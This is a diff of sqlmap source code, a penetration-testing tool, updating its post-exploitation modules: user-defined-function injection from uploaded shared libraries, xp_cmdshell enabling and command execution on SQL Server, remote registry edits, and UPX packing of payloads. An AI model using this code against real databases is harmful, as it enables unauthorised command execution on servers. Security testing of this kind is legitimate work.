self.__createRemoteBatchFile()
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||||
debugMsg += "to registry key '%s'" % self.__regKey
|
debugMsg += "to registry key '%s'" % self.__regKey
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.__execBatPathRemote()
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
def delRegKey(self, regKey, regValue):
|
||||||
def delRegKey(self, regKey, regName):
|
|
||||||
self.__operation = "delete"
|
self.__operation = "delete"
|
||||||
|
|
||||||
self.__initVars(regKey, regName)
|
self.__initVars(regKey, regValue)
|
||||||
self.__createRemoteBatchFile()
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||||
debugMsg += "from registry key '%s'" % self.__regKey
|
debugMsg += "from registry key '%s'" % self.__regKey
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.__execBatPathRemote()
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|||||||
@@ -22,11 +22,21 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.dump import dumper
|
||||||
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class UDF:
|
class UDF:
|
||||||
@@ -37,21 +47,66 @@ class UDF:
|
|||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.createdUdf = set()
|
self.createdUdf = set()
|
||||||
|
self.udfs = {}
|
||||||
self.udfToCreate = set()
|
self.udfToCreate = set()
|
||||||
|
|
||||||
|
def __askOverwriteUdf(self, udf):
|
||||||
|
message = "UDF '%s' already exists, do you " % udf
|
||||||
|
message += "want to overwrite it? [y/N] "
|
||||||
|
output = readInput(message, default="N")
|
||||||
|
|
||||||
def udfExecCmd(self, cmd, silent=False):
|
if output and output[0] in ("y", "Y"):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def __checkExistUdf(self, udf):
|
||||||
|
logger.info("checking if UDF '%s' already exist" % udf)
|
||||||
|
|
||||||
|
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
|
||||||
|
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||||
|
|
||||||
|
if exists == "1":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def udfCheckAndOverwrite(self, udf):
|
||||||
|
exists = self.__checkExistUdf(udf)
|
||||||
|
overwrite = True
|
||||||
|
|
||||||
|
if exists:
|
||||||
|
overwrite = self.__askOverwriteUdf(udf)
|
||||||
|
|
||||||
|
if overwrite:
|
||||||
|
self.udfToCreate.add(udf)
|
||||||
|
|
||||||
|
def udfCreateSupportTbl(self, dataType):
|
||||||
|
debugMsg = "creating a support table to write commands standard "
|
||||||
|
debugMsg += "output to"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
|
||||||
|
|
||||||
|
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
if udfName is None:
|
||||||
|
cmd = "'%s'" % cmd
|
||||||
|
udfName = "sys_exec"
|
||||||
|
|
||||||
|
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
|
||||||
|
|
||||||
def udfEvalCmd(self, cmd):
|
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
if udfName is None:
|
||||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
cmd = "'%s'" % cmd
|
||||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
udfName = "sys_eval"
|
||||||
|
|
||||||
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
|
||||||
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
|
||||||
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
|
||||||
if isinstance(output, (list, tuple)):
|
if isinstance(output, (list, tuple)):
|
||||||
output = output[0]
|
output = output[0]
|
||||||
@@ -61,7 +116,254 @@ class UDF:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self):
|
||||||
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
def udfInit(self):
|
def udfSetRemotePath(self):
|
||||||
errMsg = "udfInit() method must be defined within the plugin"
|
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfInjectCmd(self):
|
||||||
|
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def udfInjectCore(self, udfDict):
|
||||||
|
for udf in udfDict.keys():
|
||||||
|
if udf in self.createdUdf:
|
||||||
|
continue
|
||||||
|
|
||||||
|
self.udfCheckAndOverwrite(udf)
|
||||||
|
|
||||||
|
if len(self.udfToCreate) > 0:
|
||||||
|
self.udfSetRemotePath()
|
||||||
|
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||||
|
|
||||||
|
for udf, inpRet in udfDict.items():
|
||||||
|
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||||
|
self.udfCreateFromSharedLib(udf, inpRet)
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
supportTblType = "longtext"
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
supportTblType = "text"
|
||||||
|
|
||||||
|
self.udfCreateSupportTbl(supportTblType)
|
||||||
|
|
||||||
|
def udfInjectCustom(self):
|
||||||
|
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||||
|
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
stackedTest()
|
||||||
|
|
||||||
|
if not kb.stackedTest:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
if self.isDba() == False:
|
||||||
|
warnMsg = "the functionality requested might not work because "
|
||||||
|
warnMsg += "the session user is not a database administrator"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not conf.shLib:
|
||||||
|
msg = "which is the local path of the shared library? "
|
||||||
|
|
||||||
|
while True:
|
||||||
|
self.udfLocalFile = readInput(msg)
|
||||||
|
|
||||||
|
if self.udfLocalFile:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the local path of the shared library")
|
||||||
|
else:
|
||||||
|
self.udfLocalFile = conf.shLib
|
||||||
|
|
||||||
|
if not os.path.exists(self.udfLocalFile):
|
||||||
|
errMsg = "the specified shared library file does not exist"
|
||||||
|
raise sqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||||
|
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||||
|
errMsg = "you provided a shared object as shared library, but "
|
||||||
|
errMsg += "the database underlying operating system is Windows"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||||
|
errMsg = "you provided a dynamic-link library as shared library, "
|
||||||
|
errMsg += "but the database underlying operating system is Linux"
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||||
|
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||||
|
|
||||||
|
msg = "how many user-defined functions do you want to create "
|
||||||
|
msg += "from the shared library? "
|
||||||
|
|
||||||
|
while True:
|
||||||
|
udfCount = readInput(msg, default=1)
|
||||||
|
|
||||||
|
if isinstance(udfCount, str) and udfCount.isdigit():
|
||||||
|
udfCount = int(udfCount)
|
||||||
|
|
||||||
|
if udfCount <= 0:
|
||||||
|
logger.info("nothing to inject then")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(udfCount, int):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
|
for x in range(0, udfCount):
|
||||||
|
while True:
|
||||||
|
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||||
|
udfName = readInput(msg)
|
||||||
|
|
||||||
|
if udfName:
|
||||||
|
self.udfs[udfName] = {}
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the name of the UDF")
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
defaultType = "string"
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
defaultType = "text"
|
||||||
|
|
||||||
|
self.udfs[udfName]["input"] = []
|
||||||
|
|
||||||
|
default = 1
|
||||||
|
msg = "how many input parameters takes UDF "
|
||||||
|
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parCount = readInput(msg, default=default)
|
||||||
|
|
||||||
|
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||||
|
parCount = int(parCount)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(parCount, int):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||||
|
|
||||||
|
for y in range(0, parCount):
|
||||||
|
msg = "what is the data-type of input parameter "
|
||||||
|
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parType = readInput(msg, default=defaultType)
|
||||||
|
|
||||||
|
if isinstance(parType, str) and parType.isdigit():
|
||||||
|
logger.warn("you need to specify the data-type of the parameter")
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.udfs[udfName]["input"].append(parType)
|
||||||
|
break
|
||||||
|
|
||||||
|
msg = "what is the data-type of the return "
|
||||||
|
msg += "value? (default: %s) " % defaultType
|
||||||
|
|
||||||
|
while True:
|
||||||
|
retType = readInput(msg, default=defaultType)
|
||||||
|
|
||||||
|
if isinstance(retType, str) and retType.isdigit():
|
||||||
|
logger.warn("you need to specify the data-type of the return value")
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.udfs[udfName]["return"] = retType
|
||||||
|
break
|
||||||
|
|
||||||
|
self.udfInjectCore(self.udfs)
|
||||||
|
|
||||||
|
msg = "do you want to call your injected user-defined "
|
||||||
|
msg += "functions now? [Y/n/q] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] not in ( "y", "Y" ):
|
||||||
|
self.cleanup(udfDict=self.udfs)
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
udfList = []
|
||||||
|
msg = "which UDF do you want to call?"
|
||||||
|
|
||||||
|
for udf, inpRet in self.udfs.items():
|
||||||
|
udfList.append(udf)
|
||||||
|
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||||
|
|
||||||
|
msg += "\n[q] Quit"
|
||||||
|
|
||||||
|
while True:
|
||||||
|
choice = readInput(msg)
|
||||||
|
|
||||||
|
if choice[0] in ( "q", "Q" ):
|
||||||
|
break
|
||||||
|
|
||||||
|
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||||
|
choice = int(choice)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "invalid value, only digits >= 1 and "
|
||||||
|
warnMsg += "<= %d are allowed" % len(udfList)
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
cmd = ""
|
||||||
|
count = 1
|
||||||
|
udfToCall = udfList[choice - 1]
|
||||||
|
|
||||||
|
for inp in self.udfs[udfToCall]["input"]:
|
||||||
|
msg = "what is the value of the parameter number "
|
||||||
|
msg += "%d (data-type: %s)? " % (count, inp)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
parValue = readInput(msg)
|
||||||
|
|
||||||
|
if parValue:
|
||||||
|
if "int" not in inp and "bool" not in inp:
|
||||||
|
parValue = "'%s'" % parValue
|
||||||
|
|
||||||
|
cmd += "%s," % parValue
|
||||||
|
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
logger.warn("you need to specify the value of the parameter")
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
cmd = cmd[:-1]
|
||||||
|
msg = "do you want to retrieve the return value of the "
|
||||||
|
msg += "UDF? [Y/n] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] in ("y", "Y"):
|
||||||
|
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
dumper.string("return value", output)
|
||||||
|
else:
|
||||||
|
print "No return value"
|
||||||
|
else:
|
||||||
|
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||||
|
|
||||||
|
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||||
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
|
if choice[0] not in ("y", "Y"):
|
||||||
|
break
|
||||||
|
|
||||||
|
self.cleanup(udfDict=self.udfs)
|
||||||
|
|||||||
@@ -22,10 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from subprocess import PIPE
|
from subprocess import PIPE
|
||||||
@@ -38,7 +35,6 @@ from lib.core.data import logger
|
|||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.settings import PLATFORM
|
from lib.core.settings import PLATFORM
|
||||||
|
|
||||||
|
|
||||||
class UPX:
|
class UPX:
|
||||||
"""
|
"""
|
||||||
This class defines methods to compress binary files with UPX (Ultimate
|
This class defines methods to compress binary files with UPX (Ultimate
|
||||||
@@ -49,17 +45,27 @@ class UPX:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def __initialize(self, srcFile, dstFile=None):
|
def __initialize(self, srcFile, dstFile=None):
|
||||||
if "win" in PLATFORM:
|
if "darwin" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
elif "win" in PLATFORM:
|
||||||
|
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
elif "linux" in PLATFORM:
|
elif "linux" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "unsupported platform for the compression tool "
|
||||||
|
warnMsg += "(upx), sqlmap will continue anyway"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||||
|
|
||||||
if dstFile:
|
if dstFile:
|
||||||
self.__upxCmd += " -o %s" % dstFile
|
self.__upxCmd += " -o %s" % dstFile
|
||||||
|
|
||||||
|
|
||||||
def pack(self, srcFile, dstFile=None):
|
def pack(self, srcFile, dstFile=None):
|
||||||
self.__initialize(srcFile, dstFile)
|
self.__initialize(srcFile, dstFile)
|
||||||
|
|
||||||
@@ -68,22 +74,29 @@ class UPX:
|
|||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
upxStderr = process.communicate()[1]
|
upxStdout, upxStderr = process.communicate()
|
||||||
|
|
||||||
if upxStderr:
|
msg = "failed to compress the file"
|
||||||
logger.warn("failed to compress the file")
|
|
||||||
|
if "NotCompressibleException" in upxStdout:
|
||||||
|
msg += " because you provided a Metasploit version above "
|
||||||
|
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||||
|
msg += "the correct execution of sqlmap. It might "
|
||||||
|
msg += "only slow down a bit the execution"
|
||||||
|
logger.debug(msg)
|
||||||
|
|
||||||
|
elif upxStderr:
|
||||||
|
logger.warn(msg)
|
||||||
|
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
return os.path.getsize(srcFile)
|
return os.path.getsize(srcFile)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
def unpack(self, srcFile, dstFile=None):
|
def unpack(self, srcFile, dstFile=None):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def verify(self, filePath):
|
def verify(self, filePath):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
upx = UPX()
|
upx = UPX()
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
|||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.techniques.blind.timebased import timeUse
|
from lib.techniques.blind.timebased import timeUse
|
||||||
|
|
||||||
|
|
||||||
class xp_cmdshell:
|
class xp_cmdshell:
|
||||||
"""
|
"""
|
||||||
This class defines methods to deal with Microsoft SQL Server
|
This class defines methods to deal with Microsoft SQL Server
|
||||||
@@ -44,9 +41,7 @@ class xp_cmdshell:
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.xpCmdshellStr = "master..xp_cmdshell"
|
self.xpCmdshellStr = "master..xp_cmdshell"
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellCreate(self):
|
def __xpCmdshellCreate(self):
|
||||||
# TODO: double-check that this method works properly
|
|
||||||
cmd = ""
|
cmd = ""
|
||||||
|
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
@@ -73,7 +68,6 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
self.xpCmdshellExecCmd(cmd)
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure2005(self, mode):
|
def __xpCmdshellConfigure2005(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_configure "
|
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
@@ -87,7 +81,6 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure2000(self, mode):
|
def __xpCmdshellConfigure2000(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
@@ -96,12 +89,11 @@ class xp_cmdshell:
|
|||||||
if mode == 1:
|
if mode == 1:
|
||||||
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
||||||
cmd += "@dllname='xplog70.dll'"
|
cmd += "@dllname='xplog70.dll'"
|
||||||
else:
|
else:
|
||||||
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
|
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
|
||||||
|
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellConfigure(self, mode):
|
def __xpCmdshellConfigure(self, mode):
|
||||||
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
cmd = self.__xpCmdshellConfigure2005(mode)
|
cmd = self.__xpCmdshellConfigure2005(mode)
|
||||||
@@ -110,7 +102,6 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
self.xpCmdshellExecCmd(cmd)
|
self.xpCmdshellExecCmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
def __xpCmdshellCheck(self):
|
def __xpCmdshellCheck(self):
|
||||||
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
|
||||||
duration = timeUse(query)
|
duration = timeUse(query)
|
||||||
@@ -120,34 +111,31 @@ class xp_cmdshell:
|
|||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellForgeCmd(self, cmd):
|
def xpCmdshellForgeCmd(self, cmd):
|
||||||
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
if forgeCmd == True:
|
if forgeCmd:
|
||||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||||
|
|
||||||
cmd = urlencode(cmd, convall=True)
|
cmd = urlencode(cmd, convall=True)
|
||||||
|
|
||||||
inject.goStacked(cmd, silent)
|
inject.goStacked(cmd, silent)
|
||||||
|
|
||||||
|
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||||
def xpCmdshellEvalCmd(self, cmd):
|
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||||
|
|
||||||
self.xpCmdshellExecCmd(cmd)
|
self.xpCmdshellExecCmd(cmd)
|
||||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
|
||||||
|
|
||||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||||
self.xpCmdshellExecCmd(cmd)
|
|
||||||
|
|
||||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
self.delRemoteFile(tmpFile)
|
||||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
|
||||||
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||||
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
|
||||||
if isinstance(output, (list, tuple)):
|
if isinstance(output, (list, tuple)):
|
||||||
output = output[0]
|
output = output[0]
|
||||||
@@ -157,7 +145,6 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def xpCmdshellInit(self, mandatory=True):
|
def xpCmdshellInit(self, mandatory=True):
|
||||||
self.__xpCmdshellAvailable = False
|
self.__xpCmdshellAvailable = False
|
||||||
|
|
||||||
@@ -167,7 +154,7 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
result = self.__xpCmdshellCheck()
|
result = self.__xpCmdshellCheck()
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
logger.info("xp_cmdshell extended procedure is available")
|
logger.info("xp_cmdshell extended procedure is available")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
@@ -180,7 +167,7 @@ class xp_cmdshell:
|
|||||||
if not choice or choice in ("y", "Y"):
|
if not choice or choice in ("y", "Y"):
|
||||||
self.__xpCmdshellConfigure(1)
|
self.__xpCmdshellConfigure(1)
|
||||||
|
|
||||||
if self.__xpCmdshellCheck() == True:
|
if self.__xpCmdshellCheck():
|
||||||
logger.info("xp_cmdshell re-enabled successfully")
|
logger.info("xp_cmdshell re-enabled successfully")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
@@ -191,7 +178,7 @@ class xp_cmdshell:
|
|||||||
self.__xpCmdshellConfigure(0)
|
self.__xpCmdshellConfigure(0)
|
||||||
self.__xpCmdshellCreate()
|
self.__xpCmdshellCreate()
|
||||||
|
|
||||||
if self.__xpCmdshellCheck() == True:
|
if self.__xpCmdshellCheck():
|
||||||
logger.info("xp_cmdshell created successfully")
|
logger.info("xp_cmdshell created successfully")
|
||||||
self.__xpCmdshellAvailable = True
|
self.__xpCmdshellAvailable = True
|
||||||
|
|
||||||
@@ -200,14 +187,14 @@ class xp_cmdshell:
|
|||||||
warnMsg += "because sp_OACreate is disabled"
|
warnMsg += "because sp_OACreate is disabled"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if self.__xpCmdshellAvailable == False and mandatory == False:
|
if not self.__xpCmdshellAvailable and not mandatory:
|
||||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
||||||
warnMsg += "try to proceed without it"
|
warnMsg += "try to proceed without it"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
self.envInitialized = True
|
self.envInitialized = True
|
||||||
|
|
||||||
elif self.__xpCmdshellAvailable == False:
|
elif not self.__xpCmdshellAvailable:
|
||||||
errMsg = "unable to proceed without xp_cmdshell"
|
errMsg = "unable to proceed without xp_cmdshell"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
@@ -215,6 +202,6 @@ class xp_cmdshell:
|
|||||||
|
|
||||||
debugMsg = "creating a support table to write commands standard "
|
debugMsg = "creating a support table to write commands standard "
|
||||||
debugMsg += "output to"
|
debugMsg += "output to"
|
